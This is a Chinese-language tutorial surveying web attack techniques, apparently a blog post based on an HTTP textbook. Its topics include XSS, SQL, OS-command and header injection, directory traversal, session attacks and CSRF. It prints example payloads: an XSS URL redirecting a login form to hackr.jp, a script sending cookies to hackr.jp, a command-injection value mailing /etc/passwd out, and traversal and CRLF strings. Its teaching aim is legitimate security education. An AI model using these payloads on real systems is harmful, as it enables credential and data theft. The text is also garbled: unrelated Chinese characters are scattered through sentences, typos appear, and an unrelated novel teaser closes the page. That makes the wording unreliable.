Web 攻擊技術(shù)

本文主要講解具體有哪些攻擊 Web 站點(diǎn)的手段,以及攻擊會(huì)造成怎樣的影響搁骑。

針對(duì) Web 應(yīng)用的攻擊模式

對(duì) Web 應(yīng)用的攻擊模式有以下兩種:

  • 主動(dòng)攻擊
  • 被動(dòng)攻擊

以服務(wù)器為目標(biāo)的主動(dòng)攻擊

主動(dòng)攻擊是指攻擊者通過(guò)直接訪(fǎng)問(wèn)Web應(yīng)用,把攻擊代碼傳入的攻擊模式法精。由于該模式是直接針對(duì)服務(wù)器上的資源進(jìn)行攻擊娇妓,因此攻擊者需要能夠訪(fǎng)問(wèn)那些資源伐庭。

主動(dòng)攻擊模式中具有代表性的攻擊是 SQL 注入攻擊OS 命令注入攻擊

以服務(wù)器為目標(biāo)的被動(dòng)攻擊

被動(dòng)攻擊是指利用圈套策略執(zhí)行攻擊代碼的攻擊模式原押。在被動(dòng)攻擊過(guò)程中胁镐,攻擊者不直接對(duì)目標(biāo) Web 應(yīng)用訪(fǎng)問(wèn)發(fā)起攻擊。

被動(dòng)攻擊通常的攻擊模式如下所示:

  1. 攻擊者誘使用戶(hù)觸發(fā)已設(shè)置號(hào)的陷阱,而陷阱會(huì)啟動(dòng)發(fā)送已嵌入攻擊代碼的 HTTP 請(qǐng)求希停。
  2. 當(dāng)用戶(hù)不知不覺(jué)中招以后烁巫,用戶(hù)的瀏覽器或郵件客戶(hù)端就會(huì)觸發(fā)這個(gè)陷阱。
  3. 中招后的用戶(hù)瀏覽器會(huì)把含有攻擊代碼的 HTTP 請(qǐng)求發(fā)送給作為攻擊目標(biāo)的 Web 應(yīng)用宠能,運(yùn)行攻擊代碼亚隙。
  4. 執(zhí)行完攻擊代碼,存在安全漏洞的 Web 應(yīng)用會(huì)成為攻擊者的跳板违崇,可能導(dǎo)致用戶(hù)所持的 Cookie 等個(gè)人信息被竊取阿弃,登錄狀態(tài)中的用戶(hù)權(quán)限遭惡意濫用等后果。

主動(dòng)攻擊模式中具有代表性的攻擊是跨站腳本攻擊跨站點(diǎn)請(qǐng)求偽造羞延。

利用用戶(hù)的身份攻擊企業(yè)內(nèi)部網(wǎng)絡(luò)

利用被動(dòng)攻擊渣淳,可發(fā)起對(duì)原本從互聯(lián)網(wǎng)上無(wú)法直接訪(fǎng)問(wèn)的企業(yè)內(nèi)網(wǎng)等網(wǎng)絡(luò)的攻擊。只要用戶(hù)踏入攻擊者預(yù)先設(shè)好的陷阱伴箩,在用戶(hù)能夠訪(fǎng)問(wèn)到的網(wǎng)絡(luò)范圍內(nèi)入愧,即使是企業(yè)內(nèi)網(wǎng)也同樣會(huì)受到攻擊。

因輸出值轉(zhuǎn)義不完全引發(fā)的安全漏洞

實(shí)施Web應(yīng)用的安全對(duì)策大致有兩個(gè)部分:

  • 客戶(hù)端的驗(yàn)證
  • Web 應(yīng)用端(服務(wù)端)的驗(yàn)證:
    • 輸入值驗(yàn)證
    • 輸出值轉(zhuǎn)義

跨站腳本攻擊(Cross-Site Scripting, XSS)

XXS 是指通過(guò)存在安全漏洞的 Web 網(wǎng)站注冊(cè)用戶(hù)的瀏覽器內(nèi)運(yùn)行非法的 HTML 標(biāo)簽或 JavaScript 進(jìn)行的一種攻擊嗤谚。指的是惡意攻擊者往 Web 頁(yè)面里插入惡意 HTML 代碼棺蛛,當(dāng)用戶(hù)瀏覽該頁(yè)之時(shí),嵌入其中 Web 里面的 HTML 代碼會(huì)被執(zhí)行巩步,從而達(dá)到惡意用戶(hù)的特殊目的旁赊。動(dòng)態(tài)創(chuàng)建的 HTML 部分有可能隱藏著安全漏洞。用戶(hù)在瀏覽時(shí)椅野,不小心就會(huì)受到被動(dòng)攻擊终畅。

跨站腳本攻擊可能造成以下影響:

  • 利用虛假輸入表單騙取用戶(hù)個(gè)人信息
  • 利用腳本竊取用戶(hù)的 Cookie 值,被害者在不知情的情況下竟闪,幫助攻擊者發(fā)送惡意請(qǐng)求
  • 顯示偽造的文章或圖片

在動(dòng)態(tài)生成 HTML 處發(fā)生

以編輯個(gè)人信息頁(yè)面為例:


圖:編輯界面輸入的字符串原樣顯示在確認(rèn)界面
圖:按照輸入內(nèi)容原樣顯示的機(jī)制

輸入帶有HTML標(biāo)簽的字符串离福,瀏覽器會(huì)把用戶(hù)輸入的 <s> 解析成 HTML 標(biāo)簽。刪除線(xiàn)顯示出來(lái)并不會(huì)造成太大的不利后果炼蛤,但如果換成使用 script 標(biāo)簽?zāi)兀?/p>

XSS 是攻擊者利用預(yù)先設(shè)置的陷阱觸發(fā)的被動(dòng)攻擊

跨站腳本攻擊屬于被動(dòng)攻擊模式妖爷,因此攻擊者會(huì)事先布置好用于攻擊的陷阱。

下圖網(wǎng)站通過(guò)地址欄中 URI 的查詢(xún)字段指定 ID鲸湃,即相當(dāng)于在表單內(nèi)自動(dòng)填寫(xiě)字符串的功能赠涮。而就在這個(gè)地方子寓,隱藏著可執(zhí)行跨站腳本攻擊的漏洞暗挑。

充分熟知此處漏洞特點(diǎn)的攻擊者,于是創(chuàng)建了下面這段潛入惡意代碼的 URL斜友。并隱藏植入事先準(zhǔn)備好的欺詐郵件中或 Web 頁(yè)面內(nèi)炸裆,誘使用戶(hù)去點(diǎn)擊該 URL。

http://example.jp/login?ID="><script>var+f=document
.getElementById("login");+f.action="http://hackr.jp/pwget";+f.
method="get";</script><span+s="

瀏覽器打開(kāi)該 URI 后鲜屏,直觀(guān)感覺(jué)沒(méi)有發(fā)生任何變化烹看,但設(shè)置好的腳本卻偷偷開(kāi)始運(yùn)行了国拇。



之后,ID 及密碼會(huì)傳給該正規(guī)網(wǎng)站惯殊,接下來(lái)仍然是按正常登錄步驟酱吝,用戶(hù)很難意識(shí)到自己的登錄信息已遭泄漏。

對(duì)http://example.jp/login?ID=yama請(qǐng)求時(shí)對(duì)應(yīng)的HTML源代碼(摘錄)

<div class="logo">
  ![](imglogo.gif)
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
  ID <input type="text" name="ID" value="yama" /> 
</div>

對(duì) http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s=" 請(qǐng)求時(shí)對(duì)應(yīng)的HTML源代碼(摘錄)

<div class="logo">
  ![](imglogo.gif)
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
  ID <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method="get";</script><span s=""/>
</div>

其中土思,f.method = "get" 表示從 URI 提交务热,表單可以跨域請(qǐng)求。

對(duì)用戶(hù) Cookie 的竊取攻擊

除了在表單中設(shè)下圈套之外己儒,下面那種惡意構(gòu)造的腳本同樣能夠以跨站腳本攻擊的方式崎岂,竊取到用戶(hù)的Cookie信息

<script src=http://hackr.jp/xss.js></script>

該腳本內(nèi)指定的 http://hackr.jp/xss.js 文件。即下面這段采用JavaScript編寫(xiě)的代碼

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content); 
document.write(">");

在存在可跨站腳本攻擊安全漏洞的 Web 應(yīng)用上執(zhí)行上面這段 JavaScript 程序闪湾,即可訪(fǎng)問(wèn)到該 Web 應(yīng)用所處域名下的 Cookie 信息冲甘。然后這些信息會(huì)發(fā)送至攻擊者的 Web 網(wǎng)站(http://hackr.jp/),記錄在他的登錄日志中途样。結(jié)果江醇,攻擊者就這樣竊取到用戶(hù)的 Cookie 信息了。

SQL 注入攻擊(SQL Injection)

SQL 注入是指針對(duì) Web 應(yīng)用使用的數(shù)據(jù)庫(kù)娘纷,通過(guò)運(yùn)行非法的 SQL 而產(chǎn)生的攻擊嫁审。該安全隱患有可能引發(fā)極大的威脅,有時(shí)會(huì)直接導(dǎo)致個(gè)人信息及機(jī)密信息的泄露赖晶。是攻擊者將 SQL 語(yǔ)句改變成開(kāi)發(fā)者意想不到的形式以達(dá)到破壞結(jié)構(gòu)的攻擊律适。

SQL 注入攻擊有可能會(huì)造成以下等影響:

  • 非法查看或篡改數(shù)據(jù)庫(kù)內(nèi)的數(shù)據(jù)
  • 規(guī)避認(rèn)證
  • 執(zhí)行和數(shù)據(jù)庫(kù)服務(wù)器業(yè)務(wù)關(guān)聯(lián)的程序

下面以某個(gè)購(gòu)物網(wǎng)站的搜索功能為例,講解 SQL 注入攻擊遏插。通過(guò)該功能捂贿,我們可以將某作者的名字作為搜索關(guān)鍵字,查找該作者的所有著作胳嘲。

正常處理的操作

select * from bookTbl where author = '上野宣' and flag = 1;

URL (http://example.com/search?q=上野宣)的查詢(xún)字段已指定 q = 上野宣厂僧,這個(gè)值由 Web 應(yīng)用傳入到 SQL 語(yǔ)句中,構(gòu)成上面的 SQL 語(yǔ)句了牛。

該 SQL 語(yǔ)句表示“從 bookTbl 表中颜屠,顯示滿(mǎn)足 author = 上野宣 and flag = 1(可售)所在行的數(shù)據(jù)”。

SQL 注入攻擊案例

把剛才指定查詢(xún)字段的上野宣改寫(xiě)成“上野宣 '--”鹰祸。

select * from bookTbl where author = '上野宣'--' and flag = 1;

SQL 語(yǔ)句中的 -- 之后全視為注釋甫窟。即,and flag = 1 這個(gè)條件被自動(dòng)忽略了蛙婴。結(jié)果和 flag 的設(shè)定值無(wú)關(guān)粗井,只取出滿(mǎn)足 author = “上野宣” 條件所在行的數(shù)據(jù),這樣連那些尚未出版的圖書(shū)也一并顯示出來(lái)了。

OS 命令注入攻擊(OS Command Injection)

OS 命令注入攻擊是指通過(guò) Web 應(yīng)用浇衬,執(zhí)行非法的操作系統(tǒng)命令達(dá)到攻擊的目的懒构。只要在能調(diào)用 Shell 函數(shù)的地方就有存在被攻擊的風(fēng)險(xiǎn)。

可以從 Web 應(yīng)用中通過(guò) Shell 來(lái)調(diào)用操作系統(tǒng)命令耘擂,倘若調(diào)用 Shell 時(shí)存在疏漏胆剧,就可以執(zhí)行插入的非法 OS 命令。

OS 命令注入攻擊可以向 Shell 發(fā)送命令醉冤,讓 Windows 或 Linux 操作系統(tǒng)的命令行啟動(dòng)程序赞赖。也就是說(shuō),通過(guò) OS 注入攻擊可以執(zhí)行 OS 上冤灾。

OS 注入攻擊案例
下面以咨詢(xún)表單的發(fā)送功能為例前域,講解 OS 注入攻擊。該功能可將用戶(hù)的咨詢(xún)郵件按已填寫(xiě)的對(duì)方郵箱地址發(fā)送過(guò)去韵吨。以下是處理該表單內(nèi)容的一部分核心代碼:

my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/local/sendmail $adr");
print MAIL "From info@example.com\n";

程序中的 open 函數(shù)會(huì)調(diào)用 send 命令發(fā)送郵件匿垄,而指定的郵件發(fā)送地址即 $adr 的值。攻擊者將下面的值指定作為郵件地址归粉。

; cat /etc/passwd | mail hack@exaple.jp

程序接收該值椿疗,構(gòu)成以下的命令組合。

| /usr/sbin/sendmail ;cat /etc/passwd | mail hack@example.jp

攻擊者的輸入值中有分號(hào)(;)這個(gè)符號(hào)在 OS 命令中糠悼,會(huì)被解析為分割多個(gè)執(zhí)行命令的標(biāo)記届榄。可見(jiàn)倔喂,Sendmail 命令執(zhí)行被分隔后铝条,接下去就會(huì)執(zhí)行 cat /etc/passwd | mail hack@example.jp 這樣的命令了。結(jié)果席噩,含有 Linux 賬號(hào)信息 /etc/passwd 的文件班缰,就以郵件形式發(fā)送給 hack@example.jp

HTTP 首部注入攻擊(HTTP Header Injection)

HTTP 首部注入攻擊是指攻擊者通過(guò)在響應(yīng)首部字段內(nèi)插入換行悼枢,添加任意響應(yīng)首部或主體的一種攻擊捷凄。屬于被動(dòng)攻擊模式丹墨。

向首部主體內(nèi)添加內(nèi)容的攻擊稱(chēng)為 HTTP 響應(yīng)截?cái)喙簦℉TTP Response Splitting Attack)。

如下所示厅瞎,Web 應(yīng)用有時(shí)會(huì)把從外部接收到的數(shù)值糯钙,賦給響應(yīng)首部字段 Location 和 Set-Cookie戳寸。

Location http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

*12345 就是插入值

HTTP 首部注入可能像這樣产喉,通過(guò)在某些響應(yīng)首部字段需要處理輸出值的地方析珊,插入換行發(fā)動(dòng)攻擊。
HTTP 首部注入攻擊可能造成的影響:

  • 設(shè)置任何 Cookie 信息
  • 重定向至任意 URL
  • 顯示任意主體(HTTP 響應(yīng)截?cái)喙簦?/li>

HTTP 首部注入攻擊案例
下面我們以選定某個(gè)類(lèi)別后即可跳轉(zhuǎn)至個(gè)類(lèi)別對(duì)應(yīng)頁(yè)面的功能為例渔期,講解 HTTP 首部注入攻擊运吓。該功能為每個(gè)類(lèi)別都設(shè)定了一個(gè)類(lèi)別 ID 值,一旦選定某類(lèi)別疯趟,就會(huì)將該 ID 值反映在響應(yīng)內(nèi)的 Location 首部字段內(nèi)拘哨,形如 Location: http://example.com?cat=101。令瀏覽器發(fā)生重定向跳轉(zhuǎn)信峻。

圖:HTTP 首部注入攻擊示例

攻擊者以下面的內(nèi)容替代之前的類(lèi)別 ID 后發(fā)送請(qǐng)求倦青。

101%0D%0ASet-Cookie:+SID=123456789

其中,%0D%0A代表 HTTP 報(bào)文中的換行符盹舞,緊接著的是可強(qiáng)制將攻擊者網(wǎng)站(http://hackr.jp/)的會(huì)話(huà) ID 設(shè)置成 SID=123456789Set-Cookie 首部字段产镐。

發(fā)送該請(qǐng)求之后,假設(shè)結(jié)果返回以下響應(yīng)踢步。

Location: http://example.com/?cat=101 (%0D%0A:換行符)
Set-Cookie: SID=123456789

此刻癣亚,首部字段Set-Cookie已生效,因此攻擊者可指定修改任意的 Cookie 信息获印。通過(guò)和會(huì)話(huà)固定攻擊(攻擊者可使用指定的會(huì)話(huà) ID)組合述雾,攻擊者可偽裝成用戶(hù)。

攻擊者輸入的%0D%0A兼丰,原本應(yīng)該屬于首部字段Location的查詢(xún)值部分玻孟,但經(jīng)過(guò)解析后,%0D%0A變成了換行符鳍征,結(jié)果插入了新的首部字段黍翎。這樣一來(lái),攻擊者可在響應(yīng)中插入任務(wù)的首部字段艳丛。

HTTP 響應(yīng)截?cái)喙?/strong>
HTTP 響應(yīng)截?cái)喙羰怯迷?HTTP 首部注入的一種攻擊匣掸。攻擊順序相同,但是要將兩個(gè)%0D%0A%0D%0A并排插入字符串后發(fā)送氮双。利用這兩個(gè)連續(xù)的換行就可作出 HTTP 首部與主體分隔所需的空行了旺聚,這樣就能顯示偽造的主體,達(dá)到攻擊目的眶蕉。

Set-Cookie:UID =(%0D%0A:換行符)
(%0D%0A:換行符)
<HTML><HEAD><TITLE>之后砰粹,想要顯示的網(wǎng)頁(yè)內(nèi)容
<!--(原來(lái)頁(yè)面對(duì)應(yīng)的首部字段和主體部分全視為注釋?zhuān)?

利用這個(gè)攻擊,已觸發(fā)陷阱的用戶(hù)瀏覽器會(huì)顯示偽造的 Web 頁(yè)面造挽,再讓用戶(hù)輸入自己的個(gè)人信息等碱璃,可達(dá)到和跨站腳本攻擊相同的效果。

另外饭入,濫用 HTTP/1.1 中匯集多響應(yīng)返回功能嵌器,會(huì)導(dǎo)致緩存服務(wù)器對(duì)任意內(nèi)容進(jìn)行緩存操作。這種攻擊稱(chēng)為緩存污染谐丢。使用該緩存服務(wù)器的用戶(hù)爽航,在瀏覽遭受攻擊的網(wǎng)站時(shí)蚓让,會(huì)不斷地瀏覽被替換掉的 Web 網(wǎng)頁(yè)。

郵件首部注入攻擊(Mail Header Injection)

郵件首部注入攻擊是指 Web 應(yīng)用中的郵件發(fā)送功能讥珍,攻擊者通過(guò)向郵件首部 To 或 Subject 內(nèi)任意添加非法內(nèi)容發(fā)起的攻擊历极。利用存在安全漏洞的 Web 網(wǎng)站,可對(duì)任意郵件地址發(fā)送廣告郵件或病毒郵件衷佃。

郵件首部注入攻擊案例
攻擊者將以下數(shù)據(jù)作為郵件地址發(fā)起請(qǐng)求趟卸。

bob@hackr.jp%0D%0ABcc: user@example.com

%0D%0A在郵件報(bào)文中代表?yè)Q行符。一旦咨詢(xún)表單所在的 Web 應(yīng)用接收了這個(gè)換行符氏义,就可能實(shí)現(xiàn)對(duì) Bcc 郵件地址的追加發(fā)送锄列,而這原本是無(wú)法指定的。

另外像下面一樣惯悠,使用兩個(gè)連續(xù)的換行符就有可能篡改郵件文本內(nèi)容并發(fā)送邻邮。

bob@hackr.jp%0D%0A%0D%0ATest Message

再以相同的方法,就有可能改寫(xiě) To 和 Subject 等任意郵件首部克婶,或向文本添加附件等動(dòng)作饶囚。

目錄遍歷攻擊(Directory Traversal)

目錄遍歷攻擊是指對(duì)本無(wú)本意公開(kāi)的文件目錄,通過(guò)非法截?cái)嗥淠夸浡窂胶箴梗_(dá)成訪(fǎng)問(wèn)目的的一種攻擊萝风。

通過(guò) Web 應(yīng)用對(duì)文件處理操作時(shí),由外部指定文件名的處理存在疏漏的情況下紫岩,用戶(hù)可使用../等相對(duì)路徑定位到/etc/passed等絕對(duì)路徑上规惰,因此服務(wù)器上任意的文件或文件目錄皆有可能被訪(fǎng)問(wèn)到。這樣一來(lái)泉蝌,就有可能非法瀏覽歇万、篡改或刪除 Web 服務(wù)器上的文件。

固然存在輸出值轉(zhuǎn)義的問(wèn)題勋陪,但更應(yīng)該關(guān)閉指定對(duì)任意文件名的訪(fǎng)問(wèn)權(quán)限贪磺。

目錄遍歷攻擊案例
下面以顯示讀取文件功能為例,講解目錄遍歷攻擊诅愚。該功能通過(guò)以下查詢(xún)字段寒锚,指定某個(gè)文件名。然后從/www/log/文件目錄下讀取指定文件违孝。

http://example.com/read.php?log=0401.log

攻擊者設(shè)置如下查詢(xún)字段后發(fā)出請(qǐng)求刹前。

http://example.com/read.php?log=../../etc/passwd

查詢(xún)字段為了讀取攻擊者盯上的/etc/passwd文件,會(huì)從/www/log/目錄開(kāi)始定位相對(duì)路徑雌桑。如果這份read.php腳本接受對(duì)指定目錄的訪(fǎng)問(wèn)請(qǐng)求處理喇喉,那原本不公開(kāi)的文件就存在可被訪(fǎng)問(wèn)的風(fēng)險(xiǎn)。

遠(yuǎn)程文件包含漏洞(Remote File Inclusion)

遠(yuǎn)程文件包含漏洞是指當(dāng)部分腳本內(nèi)容需要從其他文件讀入時(shí)校坑,攻擊者利用指定外部服務(wù)器的 URL 充當(dāng)依賴(lài)文件拣技,當(dāng)腳本讀取之后千诬,就可運(yùn)行任意腳本的一種攻擊。

因設(shè)置或設(shè)計(jì)上的缺陷引發(fā)的安全漏洞

因設(shè)置或設(shè)計(jì)上的缺陷引發(fā)的安全漏洞是指膏斤,錯(cuò)誤設(shè)置 Web 服務(wù)器徐绑,或是由設(shè)計(jì)上的一些問(wèn)題引起的安全漏洞。

強(qiáng)制瀏覽(Forced Browsing)

強(qiáng)制瀏覽是指從安置在 Web 服務(wù)器的公開(kāi)目錄下的文件中掸绞,瀏覽那些原本非自愿公開(kāi)的文件。

強(qiáng)制瀏覽有可能造成的影響:

  • 泄露顧客的個(gè)人信息等重要情報(bào)
  • 泄露原本需要具有訪(fǎng)問(wèn)權(quán)限的用戶(hù)才可查閱的信息內(nèi)容
  • 泄露未外連接到外界的文件

對(duì)那些原本不愿公開(kāi)的文件耕捞,為了保證安全會(huì)隱蔽其 URL衔掸。可一旦知道了那些 URL俺抽,也就意味著可瀏覽 URL 對(duì)應(yīng)的文件敞映。直接顯示容易推測(cè)的文件名或文件目錄索引時(shí),通過(guò)某些方法可能會(huì)使 URL 產(chǎn)生泄露磷斧。

強(qiáng)制瀏覽導(dǎo)致安全漏洞的案例
下面我們以會(huì)員制度的 SNS 日記功能為例振愿,講解強(qiáng)制瀏覽可能導(dǎo)致的安全漏洞。該日志功能保證除具有訪(fǎng)問(wèn)權(quán)限的用戶(hù)本人外弛饭,其他人都不能訪(fǎng)問(wèn)日記冕末。


即使沒(méi)有對(duì)這篇日記的訪(fǎng)問(wèn)權(quán)限,只要知道這圖片的 URL侣颂,通過(guò)直接指定 URL 的方式就能顯示該圖片档桃。日記的功能和文本具有訪(fǎng)問(wèn)對(duì)象的控制,但不具備對(duì)圖片訪(fǎng)問(wèn)對(duì)象的控制憔晒,從而產(chǎn)生了安全漏洞藻肄。

不正確的錯(cuò)誤消息處理(Error Handling Vulnerability)

不正確的錯(cuò)誤消息處理是指 Web 應(yīng)用的錯(cuò)誤信息內(nèi)包含對(duì)攻擊者有用的信息。Web 應(yīng)用不必在用戶(hù)瀏覽頁(yè)面上展現(xiàn)詳細(xì)的錯(cuò)誤信息拒担,對(duì)攻擊者來(lái)說(shuō)嘹屯,詳細(xì)的錯(cuò)誤消息有可能給他們的下一次攻擊以提示。

與 Web 應(yīng)用有關(guān)的主要錯(cuò)誤信息如下所示:

  • Web 應(yīng)用拋出的錯(cuò)誤信息
  • 數(shù)據(jù)庫(kù)等系統(tǒng)拋出的錯(cuò)誤消息

開(kāi)放重定向(Open Redirect)

開(kāi)放重定向是指一種對(duì)指定的任意 URL 作重定向跳轉(zhuǎn)的功能从撼。而于此功能相關(guān)聯(lián)的安全漏洞是指州弟,假如指定的重定向 URL 到某個(gè)具有惡意的 Web 網(wǎng)站,那么用戶(hù)就會(huì)被誘導(dǎo)至那個(gè) Web 網(wǎng)站低零。

因會(huì)話(huà)管理疏忽引發(fā)的安全漏洞

會(huì)話(huà)管理是用來(lái)管理用戶(hù)狀態(tài)的必備功能呆馁,但是如果管理有所疏忽,就會(huì)導(dǎo)致用戶(hù)的認(rèn)證狀態(tài)被竊取等后果毁兆。

會(huì)話(huà)劫持(Session Hijack)

會(huì)話(huà)劫持是指攻擊者通過(guò)某種手段拿到了用戶(hù)的會(huì)話(huà) ID浙滤,并非法使用此會(huì)話(huà) ID 偽裝成用戶(hù),達(dá)到攻擊的目的气堕。


具備認(rèn)證功能的 Web 應(yīng)用纺腊,使用會(huì)話(huà) ID 的會(huì)話(huà)管理機(jī)制畔咧,作為管理認(rèn)證狀態(tài)的主流方式。會(huì)話(huà) ID 中記錄客戶(hù)端的 Cookie 等信息揖膜,服務(wù)器端將會(huì)話(huà) ID 與認(rèn)證狀態(tài)進(jìn)行一對(duì)一匹配管理誓沸。
下面列舉了幾種攻擊者可獲得會(huì)話(huà) ID 的途徑:

  • 通過(guò)非正規(guī)的生成方法推測(cè)會(huì)話(huà) ID
  • 通過(guò)竊聽(tīng)或 XSS 攻擊盜取會(huì)話(huà) ID
  • 通過(guò)會(huì)話(huà)固定攻擊強(qiáng)行獲取會(huì)話(huà) ID

會(huì)話(huà)劫持攻擊案例
下面以認(rèn)證功能為例講解會(huì)話(huà)劫持。這里的認(rèn)證功能通過(guò)會(huì)話(huà)管理機(jī)制壹粟,會(huì)將成功認(rèn)證的用戶(hù)的會(huì)話(huà) ID (SID)保存在用戶(hù)瀏覽器的 Cookie 中拜隧。


攻擊者在得知該 Web 網(wǎng)站存在可跨站攻擊(XSS)的安全漏洞后,就設(shè)置好用 Javascript 腳本調(diào)用 document.cookie 以竊取 Cookie 信息的陷阱趁仙,一旦用戶(hù)踏入陷阱(訪(fǎng)問(wèn)了該腳本)洪添,攻擊者就能獲取含有會(huì)話(huà) ID 的 Cookie。

攻擊者拿到用戶(hù)的會(huì)話(huà) ID 后雀费,往自己的瀏覽器的 Cookie 中設(shè)置該會(huì)話(huà) ID干奢,即可偽裝成會(huì)話(huà) ID 遭竊的用戶(hù),訪(fǎng)問(wèn) Web 網(wǎng)站了盏袄。

會(huì)話(huà)固定攻擊(Session Fixation)

對(duì)以竊取目標(biāo)會(huì)話(huà) ID 為主動(dòng)攻擊手段的會(huì)話(huà)劫持而言忿峻,會(huì)話(huà)固定攻擊會(huì)強(qiáng)制用戶(hù)使用攻擊者指定的會(huì)話(huà) ID,屬于被動(dòng)攻擊辕羽。

會(huì)話(huà)固定攻擊案例
下面以認(rèn)證功能為例講解會(huì)話(huà)固定攻擊逛尚。這個(gè) Web 網(wǎng)站的認(rèn)證功能,會(huì)在認(rèn)證前發(fā)布一個(gè)會(huì)話(huà) ID刁愿,若認(rèn)證成功黑低,就會(huì)在服務(wù)器內(nèi)改變認(rèn)證狀態(tài)。


攻擊者準(zhǔn)備陷阱酌毡,先訪(fǎng)問(wèn) Web 網(wǎng)站拿到會(huì)話(huà) ID(SID=f5d1278e8109)克握。此時(shí),會(huì)話(huà) ID 在服務(wù)器上的記錄仍是(未認(rèn)證)狀態(tài)枷踏。(步驟 1菩暗、2)

攻擊者設(shè)置好強(qiáng)制用戶(hù)使用該會(huì)話(huà) ID 的陷阱,并等待用戶(hù)拿著這個(gè)會(huì)話(huà) ID 前去認(rèn)證旭蠕。一旦用戶(hù)觸發(fā)陷阱并完成認(rèn)證停团,會(huì)話(huà) ID(SID=f5d1278e8109)在服務(wù)器上的狀態(tài)(用戶(hù) A 已認(rèn)證)就會(huì)被記錄下來(lái)。(步驟 3)

攻擊者估計(jì)用戶(hù)差不多已觸發(fā)陷阱后掏熬,再利用之前這個(gè)會(huì)話(huà) ID 訪(fǎng)問(wèn)網(wǎng)站佑稠。由于該會(huì)話(huà) ID 目前已是(用戶(hù) A 已認(rèn)證)狀態(tài),于是攻擊者作為用戶(hù) A 的身份順利登錄網(wǎng)站旗芬。(步驟 4)

Session Adoption
Session Adoption 是指 PHP 或 ASP.NET 能夠接收處理未知會(huì)話(huà) ID 的功能舌胶。

惡意使用該功能便可跳過(guò)會(huì)話(huà)固定攻擊的準(zhǔn)備階段,從 Web 網(wǎng)站獲得發(fā)行的會(huì)話(huà) ID 的步驟疮丛。即幔嫂,攻擊者可私自創(chuàng)建會(huì)話(huà) ID 構(gòu)成陷阱辆它,中間件卻會(huì)誤以為該會(huì)話(huà) ID 是未知會(huì)話(huà) ID 而接受。

跨站點(diǎn)請(qǐng)求偽造(Cross-Site Request Forgeries, CSRF)

跨站點(diǎn)請(qǐng)求偽造是指攻擊者通過(guò)設(shè)置好的陷阱履恩,強(qiáng)制對(duì)已完成認(rèn)證的用戶(hù)進(jìn)行非預(yù)期的個(gè)人信息或設(shè)定信息等某些狀態(tài)更新锰茉,屬于被動(dòng)攻擊∏行模可能造成的影響:

  • 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限更新設(shè)定信息
  • 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限購(gòu)買(mǎi)商品
  • 利用已通過(guò)認(rèn)證的用戶(hù)權(quán)限在留言板上發(fā)表言論

跨站點(diǎn)請(qǐng)求偽造攻擊案例
下面以留言板功能為例飒筑,講解跨站點(diǎn)請(qǐng)求偽造。該功能只允許已認(rèn)證并登錄的用戶(hù)在留言板上發(fā)表內(nèi)容绽昏。


在該留言板系統(tǒng)上协屡,受害者用戶(hù) A 是已認(rèn)證狀態(tài)。它的瀏覽器中的 Cookie 持有已認(rèn)證的會(huì)話(huà) ID (步驟 1)而涉。

攻擊者設(shè)置好一旦用戶(hù)訪(fǎng)問(wèn)著瓶,即會(huì)發(fā)送在留言板上發(fā)表非主觀(guān)行為產(chǎn)生的評(píng)論的請(qǐng)求的陷阱联予。用戶(hù) A 的瀏覽器執(zhí)行完陷阱中的請(qǐng)求后啼县,留言板也就會(huì)留下那條評(píng)論(步驟 2)。

觸發(fā)陷阱之際沸久,如果用戶(hù) A 尚未通過(guò)認(rèn)證季眷,則無(wú)法利用用戶(hù) A 的身份權(quán)限在留言板上發(fā)表內(nèi)容。

其他安全漏洞

密碼破解(Password Cracking)

即算出密碼卷胯,突破認(rèn)證子刮。攻擊不僅限于 Web 應(yīng)用,還包括其他系統(tǒng)窑睁。

點(diǎn)擊劫持(Clickjacking)

是指利用透明的按鈕或鏈接做成陷阱挺峡,覆蓋在 Web 頁(yè)面之上,然后誘導(dǎo)用戶(hù)在不知情的情況下担钮,點(diǎn)擊那個(gè)鏈接訪(fǎng)問(wèn)內(nèi)容的一種攻擊手段橱赠。

Dos攻擊(Denial of Service attack)

Dos 攻擊是一種讓運(yùn)行中的服務(wù)呈停止?fàn)顟B(tài)的攻擊。有時(shí)也叫做服務(wù)停止攻擊或拒絕服務(wù)攻擊箫津。Dos 攻擊的對(duì)象不局限于 Web 網(wǎng)站狭姨,還包括網(wǎng)絡(luò)設(shè)置及服務(wù)器等。

有兩種攻擊方式:

  • 集中利用訪(fǎng)問(wèn)請(qǐng)求造成資源過(guò)載苏遥,資源用盡的同時(shí)饼拍,實(shí)際上服務(wù)也就呈停止?fàn)顟B(tài)。
  • 通過(guò)攻擊安全漏洞使服務(wù)停止田炭。

其中师抄,集中利用訪(fǎng)問(wèn)請(qǐng)求的 DoS 攻擊,單純來(lái)講就是發(fā)送大量的合法請(qǐng)求教硫。服務(wù)器很難分辨何為正常請(qǐng)求司澎,何為攻擊請(qǐng)求欺缘,因此很難防止 DoS 攻擊。


多臺(tái)計(jì)算機(jī)發(fā)起的 DoS 攻擊成為 DDoS 攻擊(Distributed Denial of Service attack)挤安。DDoS 攻擊通常利用那些感染病毒的計(jì)算機(jī)作為攻擊者的攻擊跳板谚殊。

后門(mén)程序(Backdoor)

后門(mén)程序是指開(kāi)發(fā)設(shè)置的隱藏入口,可不按正常步驟使用受限功能蛤铜。利用后門(mén)程序就能夠使用原本受限的功能嫩絮。

通常分類(lèi):

  • 開(kāi)發(fā)階段作為 Debug 調(diào)用的后門(mén)程序
  • 開(kāi)發(fā)者為了自身利益植入的后門(mén)程序
  • 攻擊者通過(guò)某種方法設(shè)置的后門(mén)程序
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市围肥,隨后出現(xiàn)的幾起案子剿干,更是在濱河造成了極大的恐慌,老刑警劉巖穆刻,帶你破解...
    沈念sama閱讀 218,755評(píng)論 6 507
